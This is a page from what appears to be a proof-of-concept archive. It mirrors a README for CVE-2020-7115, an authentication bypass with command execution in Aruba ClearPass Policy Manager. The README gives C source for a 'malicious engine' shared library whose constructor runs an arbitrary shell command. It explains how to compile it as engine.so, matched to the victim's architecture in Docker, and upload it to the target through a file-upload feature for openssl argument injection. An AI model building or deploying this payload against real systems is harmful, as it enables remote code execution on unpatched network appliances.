Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2020-7115 PoC — Aruba Networks ClearPass Policy Manager 访问控制错误漏洞

Source
Associated Vulnerability
Title: Aruba Networks ClearPass Policy Manager 访问控制错误漏洞 (CVE-2020-7115)
Description:The ClearPass Policy Manager web interface is affected by a vulnerability that leads to authentication bypass. Upon successful bypass an attacker could then execute an exploit that would allow to remote command execution in the underlying operating system. Resolution: Fixed in 6.7.13-HF, 6.8.5-HF, 6.8.6, 6.9.1 and higher.
Description
Create your malicious engine in seconds
Readme


# CVE-2020-7115
Create your malicious engine in seconds

# build_engine.sh
Simple script to generate a **malicious engine** ready to be used in openssl [argument injection](https://www.acunetix.com/vulnerabilities/web/argument-injection/) scenarios.

## How to use?

It's very simple, just modify the engine.c file with the command of your choice:

```c
#include <unistd.h>

__attribute__((constructor))
static void init() {
    execl("/bin/sh", "sh", "-c", "COMMAND");
}
```

Once you have done that, now you just need to run the script like this:

```bash
bash build_engine.sh
```
This command will create a folder called output, in it you will find a file called `engine.so` which is the one you should send to the server through a file upload functionality.

## How to raise a docker to run the script and why should I do it?
It is important for you to know that you must create the malicious engine with the same characteristics of the victim system. That is... if the target system is running on a 64-bit linux, you must create the malicious engine on a 64-bit linux.

Docker is an amazing technology for this kind of thing, and setting up your environment is very easy.

First let's download the docker image from [this site](https://hub.docker.com/_/debian) for a 64-bit debian linux system:

```bash
sudo docker pull debian
```

Then we are going to pull up the docker as follows:

```bash
sudo docker run -v `pwd`:/code -it debian
```
Let's understand a little what we did here. The `-v` flag is used to create a volume, in this case we are associating the contents of the `/code` folder with the contents of our current directory folder, hence the use of `pwd`.

With associate I mean that everything that we create or edit in `/code` (folder that is hosted in the root of the docker image), we will have and we will see it in `pwd` and in the opposite direction.

In our case, `pwd` points to the following directory on our local machine:
>>> /home/retr0/CVE-2020-7115/

The -it flag, on the other hand, can be seen as follows:

The `-t (--tty)` flag tells Docker to map a virtual terminal session inside the container. This is commonly used with the `-i (--interactive)` option, which keeps STDIN open even if running in `detached mode`.

So in effect using the `-it` flag is useful when we want to get a shell from the container in question.

## Don't know the  CVE-2020-7115?
No problem, just visit [this post](https://gist.github.com/Retr02332/02a2265047ea1bbb7ba0b61afc346e79), and I am sure you will fully understand this vulnerability.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →